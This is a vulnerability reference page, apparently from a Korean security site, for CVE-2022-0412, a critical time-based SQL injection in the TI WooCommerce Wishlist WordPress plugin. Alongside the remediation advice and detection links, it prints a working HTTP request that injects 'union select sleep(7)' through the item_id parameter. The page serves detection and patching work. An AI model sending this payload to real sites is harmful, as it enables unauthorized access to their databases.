🔙 목록으로 돌아가기

CVE-2022-0412: WordPress TI WooCommerce Wishlist <1.40.1 - SQL Injection

TitleWordPress TI WooCommerce Wishlist <1.40.1 - SQL Injection
Authoredoardottt
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could lead to unauthorized access to the WordPress database.
RemediationUpdate to the latest version of the TI WooCommerce Wishlist plugin (1.40.1 or higher).
CVSS Score9.8
EPSS Score0.85862
CVE IDCVE-2022-0412
CWE IDCWE-89
Tags time-based-sqli cve2022 cve sqli ti-woocommerce-wishlist wpscan woocommerce wordpress wp-plugin wp templateinvaders vuln

🔍 Vulnerability Description

WordPress TI WooCommerce Wishlist plugin before 1.40.1 contains a SQL injection vulnerability. The plugin does not sanitize and escape the item_id parameter before using it in a SQL statement via the wishlist/remove_product REST endpoint.

🌐 HTTP Request

GET /?rest_route=/wc/v3/wishlist/remove_product/1&item_id=0%20union%20select%20sleep(7)%20--%20g HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0412.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0412.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A